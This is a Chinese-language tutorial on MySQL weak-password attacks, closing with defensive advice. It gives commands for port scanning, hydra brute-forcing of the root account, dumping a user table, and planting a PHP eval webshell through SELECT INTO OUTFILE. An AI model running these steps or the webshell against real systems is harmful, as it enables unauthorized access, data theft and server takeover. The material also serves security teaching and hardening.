MySQL弱口令攻击是指攻击者利用MySQL数据库设置的简单、易猜测密码,通过暴力破解等方式获取数据库访问权限,进而窃取数据、篡改内容甚至控制服务器的恶意行为。这类攻击成本低、成功率较高,是数据库安全中需要重点防范的风险。

攻击前的准备阶段
攻击者实施MySQL弱口令攻击前,需要先完成基础的信息收集工作,明确目标数据库的基本信息。
1. 确认目标主机存活状态
首先通过ping命令判断目标主机是否在线,排除无法访问的目标。示例命令如下:
# 测试目标主机是否存活 ping 192.168.1.100
2. 扫描MySQL服务端口
MySQL默认服务端口为3306,攻击者会使用端口扫描工具确认目标主机是否开放该端口。常用的扫描命令如下:
# 使用nmap扫描目标3306端口 nmap -p 3306 192.168.1.100
如果扫描结果显示3306端口为open状态,说明目标主机运行着MySQL服务,可进入下一步攻击流程。
弱口令暴力破解阶段
确认MySQL服务存在后,攻击者会使用专门的工具尝试常见的弱密码组合,完成权限破解。
1. 准备弱口令字典
弱口令字典通常包含常见的简单密码,比如root、123456、admin、mysql等,也可以结合目标单位的信息自定义字典内容。基础字典示例如下:
root 123456 admin mysql 123123 root123
2. 使用工具执行破解
常用的MySQL弱口令破解工具包括hydra、medusa等,以hydra为例,破解命令格式如下:
# 使用hydra破解MySQL弱口令 hydra -l root -P password.txt 192.168.1.100 mysql
上述命令中,-l指定用户名root,-P指定弱口令字典文件,192.168.1.100是目标IP,mysql表示针对MySQL服务发起攻击。如果破解成功,工具会返回对应的正确密码。
获取权限后的攻击操作
成功获取MySQL账号密码后,攻击者会登录数据库执行后续恶意操作。
1. 登录MySQL数据库
使用破解得到的账号密码登录目标数据库,命令示例如下:
# 登录MySQL数据库 mysql -h 192.168.1.100 -u root -p # 输入破解得到的密码后进入数据库
2. 数据窃取操作
登录后首先查看所有数据库,然后选择目标数据库导出敏感数据。常用操作命令如下:
-- 查看所有数据库 SHOW DATABASES; -- 选择目标数据库 USE user_db; -- 查看数据库中的所有表 SHOW TABLES; -- 导出用户表数据 SELECT * FROM user_info INTO OUTFILE '/tmp/user_data.txt';
3. 尝试提权操作
如果当前账号权限较低,攻击者会尝试利用MySQL的漏洞或者配置缺陷提升权限,比如通过写入木马文件获取服务器控制权:
-- 查看MySQL是否允许写入文件 SHOW VARIABLES LIKE 'secure_file_priv'; -- 如果值为空,尝试写入一句话木马 SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php';
弱口令攻击的防御措施
要避免MySQL弱口令攻击,需要从密码设置、访问控制、权限管理等多方面做好防护:
- 设置复杂度足够的密码,包含大小写字母、数字和特殊符号,长度不低于8位,不使用常见弱密码
- 限制MySQL服务的访问来源,只允许信任的IP地址连接3306端口,避免端口直接暴露在公网
- 遵循最小权限原则,给数据库账号分配仅满足业务需求的最低权限,不要随意授予root等高权限
- 定期更新MySQL版本,及时修复已知的安全漏洞,同时开启数据库操作日志,便于异常行为审计